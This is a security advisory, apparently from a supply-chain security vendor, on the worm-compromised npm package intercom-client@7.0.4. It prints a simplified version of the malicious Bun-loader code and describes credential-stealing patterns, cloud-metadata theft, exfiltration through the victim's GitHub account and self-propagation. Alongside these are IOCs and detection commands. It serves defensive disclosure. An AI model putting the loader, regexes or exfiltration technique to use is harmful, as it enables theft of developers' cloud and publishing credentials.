























Twenty-nine hours after mbt@1.2.48 and @cap-js/sqlite@2.2.2 were compromised by the Shai-Hulud worm, a third major npm package has fallen: intercom-client@7.0.4, the official Node.js SDK for the Intercom customer messaging platform, with 361,510 weekly downloads — more than the two yesterday’s compromised packages combined. The malicious version was published today at 14:41 UTC via a hijacked GitHub Actions OIDC publishing pipeline, confirming the worm is actively propagating through CI/CD infrastructure stolen from yesterday’s victims.
The package carries the same preinstall: node setup.mjs hook and Bun-staged loader found in every prior Shai-Hulud payload, but the credential stealer has undergone a significant evolution: the payload — now disguised as router_runtime.js rather than the previously-burned execution.js name — has expanded its collection scope from GitHub and npm tokens to a full multi-cloud credential sweep targeting AWS instance credentials (via the IMDS endpoint at 169.254.169.254), GCP service account tokens (via metadata.google.internal), Azure connection strings, private keys, and generic API key patterns. The same __decodeScrambled PBKDF2 cipher that fingerprints the Shai-Hulud / TeamPCP toolchain appears 232 times in the payload.
Disclosure: StepSecurity has filed a GitHub issue notifying the Intercom team of this compromise: github.com/intercom/intercom-node/issues/518.
The following npm package is confirmed malicious as of April 30, 2026. It carries a new preinstall: node setup.mjs hook and an obfuscated 11.7 MB router_runtime.js multi-cloud credential stealer. Do not install this version.
intercom-client@7.0.4 — Official Intercom Node.js API SDK npm-oidc-no-reply@github.com, OIDC config c6068f87-840d-4993-aa1b-425530e39ee9) — CI/CD publishing pipeline compromisedintercom-client@7.0.3StepSecurity’s AI Package Analyst monitors every new npm publish in real time, diffing each release against the full version history. For intercom-client@7.0.4, four signals triggered an immediate CRITICAL verdict within minutes of publication. View full analysis here

preinstall script appeared for the first time across all prior releases. intercom-client has never used an install lifecycle hook in any of its prior versions. Version 7.0.4 introduced "preinstall": "node setup.mjs" — a new file with no history in the project’s GitHub repository, firing before any install logic runs.setup.mjs and router_runtime.js. Neither file exists in any prior release or in the intercom/intercom-node GitHub repository.router_runtime.js is a single, newline-free obfuscated line — a structural signature of a malicious payload.Every prior release of intercom-client contained no install lifecycle hooks — a clean SDK with no post-install side effects. Version 7.0.4 injected a preinstall hook alongside two previously non-existent files:
// package.json — intercom-client@7.0.3 (clean)
"scripts": {
"lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
// ... dev-only build and test scripts, no install hooks
}
// unpackedSize: 6,099,576 bytes | fileCount: 4,384 | SLSA v1 provenance attestations: present
// package.json — intercom-client@7.0.4 (malicious)
"scripts": {
"lint": "biome lint ...", "test": "vitest", "build": "pnpm build:cjs && pnpm build:esm",
"preinstall": "node setup.mjs" // <-- new, fires before any install logic
}
// unpackedSize: 17,837,993 bytes | fileCount: 4,940 | SLSA attestations: ABSENT
// New files: setup.mjs (6,780 bytes), router_runtime.js (11,731,860 bytes, 0 newlines)
The preinstall hook fires before npm evaluates any other install steps, before the user sees any output, and before any --ignore-scripts guard can stop it if the flag is omitted. The legitimate Intercom SDK remains present and functional — victims get a working client library while the stealer runs silently in the background.
A second anomaly distinguishes this compromise: unlike intercom-client@7.0.3, which carried SLSA v1 provenance attestations linking each artifact to its source build workflow, 7.0.4 has no attestations at all. The attackers’ publishing pipeline does not replicate the signing step that the legitimate Intercom workflow performs, making the absence of attestations a reliable detection signal.
setup.mjs)setup.mjs is a 222-line, 6.7 KB Node.js module structurally identical to the Bun loader found across all Shai-Hulud family packages. Its sole purpose is to acquire the Bun runtime and use it to execute router_runtime.js.
// Simplified execution flow from setup.mjs
const BUN_VERSION = "1.3.13"; // Same version used in mbt, @cap-js/sqlite, and @bitwarden/cli
const ENTRY_SCRIPT = "router_runtime.js"; // Renamed from "execution.js" to evade IOC blocklists
async function main() {
if (hasCommand("bun")) return; // Reuse existing Bun installation if present
const asset = resolveAsset(); // Includes musl/Alpine detection for CI containers
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-"));
await downloadToFile(url, zipPath);
extractBun(zipPath, entry, tmpDir);
fs.unlinkSync(zipPath); // Delete the downloaded zip to reduce forensic footprint
execFileSync(bunPath, [entryScriptPath], { stdio: "inherit", cwd: SCRIPT_DIR });
// finally: fs.rmSync(tmpDir, { recursive: true, force: true }) ← deletes Bun binary on exit
}
The loader includes a pure Node.js ZIP parser as a fallback for environments without unzip installed — ensuring the payload executes even in minimal container images. It detects Alpine/musl environments (targeting CI runners) and selects the correct Bun binary variant accordingly.
Using Bun instead of Node.js is a deliberate evasion choice: EDR rules and SIEM detections tuned for suspicious node child processes during npm install will miss a bun process entirely. The loader’s SHA-256 differs from mbt@1.2.48’s setup.mjs, but the logic, Bun version, platform map, and cleanup behavior are functionally identical — a minor update to evade hash-based IOC matching.
router_runtime.js) Escalated TTPsrouter_runtime.js is an 11.7 MB single-line obfuscated JavaScript file. The payload carries the same structural fingerprints as every prior Shai-Hulud family member — a hex-indexed string array (_0x29aa53) with a globalThis.__decodeScrambled PBKDF2-backed custom cipher (232 occurrences) for runtime decryption of all sensitive strings — but the scope of credential collection has expanded significantly beyond GitHub and npm.
The payload daemonizes itself using the same __DAEMONIZED environment variable fork seen across all Shai-Hulud payloads: it forks a detached child process with __DAEMONIZED=1, the parent exits immediately, and the background child writes a PID singleton lock to /tmp to prevent duplicate instances. This breaks process tree correlation between the npm install and the credential theft activity.
Previous Shai-Hulud payloads targeted GitHub tokens and npm publish tokens. This payload has added three new cloud credential categories, raising the blast radius of any single installation to the victim’s entire cloud footprint:
ghp_*), OAuth tokens (gho_*), and Actions/OIDC tokens (ghs_*) — same patterns as prior campaign payloads./npm_[A-Za-z0-9]{36,}/g. Stolen tokens are used to propagate the worm to new packages.http://169.254.169.254 for role credentials. Also scans for aws_secret_access_key, aws_session_token, and access key ID patterns (AKIA[A-Z0-9]{16}) in config files and environment variables.http://metadata.google.internal for instance service account tokens and identity tokens. Scans for service_account credential JSON files (Application Default Credentials).AccountKey), client secrets (client_secret), and access keys matching /(AccountKey|accessKey|client_secret)/./-----BEGIN PRIVATE KEY-----/g.password, passwd, secret, token, key, and api[_-]?key across config files and environment.The payload detects and activates specialized collection behavior for three CI/CD environments:
// CI environment detection (from static analysis of router_runtime.js)
if (process.env.GITHUB_ACTIONS) // GitHub Actions — targets OIDC tokens
if (process.env.VERCEL || process.env.NOW_GITHUB_DEPLOYMENT) // Vercel deployments
if (process.env.CI_) // Generic CI environment marker
Adding Vercel and generic CI detection is a meaningful escalation: developers building frontend applications or serverless functions with Intercom integration are now also targeted when their deployment pipelines install the SDK.
Exfiltration routes through the victim’s own GitHub account using the api.github.com endpoint — the same covert channel used in mbt@1.2.48 and @cap-js/sqlite@2.2.2. Using a stolen GitHub token, the payload authenticates to api.github.com/user, creates a private repository under the victim’s account, encrypts the harvested credentials and cloud metadata, and commits the payload to the repository.
All traffic goes to api.github.com, which is allowlisted in virtually every corporate firewall and GitHub Actions egress policy. Standard domain blocklists, IP-based detection, and network monitoring tuned for unknown destinations are completely ineffective against this channel.
Why network defenses fail here: Every outbound request this payload makes — downloading Bun from github.com, querying cloud metadata endpoints (internal to the runner), and exfiltrating via api.github.com — goes to destinations that appear in every CI/CD environment’s default allowlist. The only network-layer defense that works is Harden Runner’s step-level egress lockdown, which blocks unexpected api.github.com API calls during install steps even though the domain itself is trusted.
Every stolen npm publish token is used to propagate the worm. The stealer uses the npm registry API with each captured token to enumerate packages it has publish access to, increment the patch version, inject the preinstall hook and payload files into the new version, and publish it to the registry. This is the same self-replication mechanism observed across the entire Shai-Hulud family.
intercom-client@7.0.4 is direct proof of this mechanism. Published 29 hours after mbt@1.2.48, the intercom publish used a GitHub Actions OIDC token belonging to the Intercom engineering team — almost certainly stolen from a CI pipeline that installed one of yesterday’s compromised packages during that window. Any workflow that ran npm install mbt@1.2.48 or npm install @cap-js/sqlite@2.2.2 and had access to npm publish credentials for the Intercom SDK could have been the propagation vector.
The structural evidence attributing intercom-client@7.0.4 to the Shai-Hulud / TeamPCP campaign is conclusive:
setup.mjs is unchanged across every Shai-Hulud payload since September 2025, including @bitwarden/cli@2026.4.0, mbt@1.2.48, and @cap-js/sqlite@2.2.2._0x29aa53) with globalThis.__decodeScrambled PBKDF2-backed custom cipher is the unique TeamPCP toolchain fingerprint. It appears 232 times in router_runtime.js.__DAEMONIZED environment variable fork is present, consistent with all Shai-Hulud family members.api.github.com/user private repository creation, no external C2 domain (the external domain used in the Bitwarden variant was burned and publicly blocklisted)./gh[op]_[A-Za-z0-9]{36}/g and /npm_[A-Za-z0-9]{36,}/g and /ghs_[A-Za-z0-9]{36,}/g are unchanged from prior campaign payloads.npm-oidc-no-reply@github.com, the same publisher identity seen in @cap-js/sqlite@2.2.2, confirming the worm has established a CI/CD propagation channel through stolen OIDC tokens.intercom-client@7.0.4intercom-client@7.0.3sha512-LcCAJzWI5Jkx75prg8T88aonPsExIrffcugdCDWhNv0HhmOlkA8xYqMuNHqjkgF8o9yxrs09tDub/6MWncK1Lg==1a1b1d0d89fadf7664c42ec628bac7d39a71bd505f748fbc89cde66abefa826439c765a0081a027792e9da8d80fbf23571311622 GitHub Actions OIDC (npm-oidc-no-reply@github.com) — CI/CD pipeline compromised oidc:c6068f87-840d-4993-aa1b-425530e39ee9setup.mjsfe64699649591948d6f960705caac86fe99600bf76e3eae29b4517705a58f0e2 6,780 bytes · 222 linesnode_modules/intercom-client/router_runtime.js5ae8b2343e97cc3b2c945ec34318b63f27fa2db1e3d8fbaa78c298aa63db52ed11,731,860 bytes (single obfuscated line, zero newlines) /tmp/<__decodeScrambled encoded name> (PID singleton)api.github.com (private repos under victim account)https://api.github.com/usergithub.com/oven-sh/bun/releases/download/bun-v1.3.13/http://169.254.169.254 (AWS instance credential theft)http://metadata.google.internal (GCP service account token theft) https://registry.npmjs.org/ (worm self-propagation)globalThis.__decodeScrambled (PBKDF2-backed, 232 occurrences in router_runtime.js) __DAEMONIZED (env var)/gh[op]_[A-Za-z0-9]{36}/g/npm_[A-Za-z0-9]{36,}/g/ghs_[A-Za-z0-9]{36,}/g/AKIA[A-Z0-9]{16}/g (new in this variant)/ (AccountKey|accessKey|client_secret)/ (new in this variant)/-----BEGIN PRIVATE KEY-----/g (new in this variant)1.3.13Hex-indexed string array (_0x29aa53) + PBKDF2 cipherCheck for the malicious version in your project:
npm list intercom-client 2>/dev/null | grep "7\.0\.4"
grep '"intercom-client"' package-lock.json | head -5Check for malicious files in node_modules:
ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "intercom-client COMPROMISED"
ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "PAYLOAD FOUND"Check for unauthorized private repositories on accounts or organizations that ran the compromised install:
gh repo list --visibility private --json name,description,createdAt --limit 100 | \
jq '.[] | select(.createdAt > "2026-04-30")'Check npm publish logs for unauthorized releases:
npm access list packages <your-username>
# Then for each package you maintain:
npm view <package-name> time --json | tail -5Check CI/CD pipeline logs for any workflow runs that installed intercom-client@7.0.4 between April 29, 2026 (when prior compromised packages could have stolen CI credentials) and now. Treat all secrets accessible to those jobs as compromised — including AWS IAM credentials, GCP service account keys, Azure client secrets, and npm OIDC publishing tokens.
Check cloud credentials specifically if the package was installed in a CI/CD pipeline with cloud access:
# AWS: audit CloudTrail for unexpected AssumeRole or GetSessionToken calls
aws cloudtrail lookup-events --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
--start-time 2026-04-30T14:00:00Z
# GCP: check for unexpected service account token usage
gcloud logging read 'protoPayload.authenticationInfo.principalEmail:@developer.gserviceaccount.com' \
--freshness=1d
# Azure: check for unexpected client secret usage in Azure AD audit logsnpm uninstall intercom-client
npm install intercom-client@7.0.3 --ignore-scripts
ls node_modules/intercom-client/setup.mjs 2>/dev/null && echo "still compromised"
ls node_modules/intercom-client/router_runtime.js 2>/dev/null && echo "payload still present"
ghp_*, OAuth: gho_*, Actions: ghs_*)npm_*) — critical, stolen tokens are used for worm propagation--ignore-scripts in CI/CD as a standing policy: npm ci --ignore-scripts
{
"dependencies": {
"intercom-client": "7.0.3"
}
}
npm audit signatures intercom-client@7.0.3 intercom-client@7.0.4 automatically fails the check and is blocked from merging. app.stepsecurity.io/checks github.com/oven-sh/bun/releases), the api.github.com exfiltration channel, and the AWS/GCP cloud metadata endpoints are all blocked unless explicitly allowlisted. Step-level egress control is the only network-layer defense that works against a C2 that routes through trusted domains. intercom-client@7.0.4 before remediation begins. api.github.com or 169.254.169.254 during an npm install step is an immediate exfiltration signal, surfaced before the run completes. Protect your pipelines: AI Package Analyst detected this Shai-Hulud payload — including the expanded multi-cloud credential scope — within minutes of publication, before any CVE was filed. Harden-Runner blocks exfiltration at the network layer even when the malware routes through trusted infrastructure like api.github.com.
此内容由惯性聚合(RSS阅读器)自动聚合整理,仅供阅读参考。 原文来自 — 版权归原作者所有。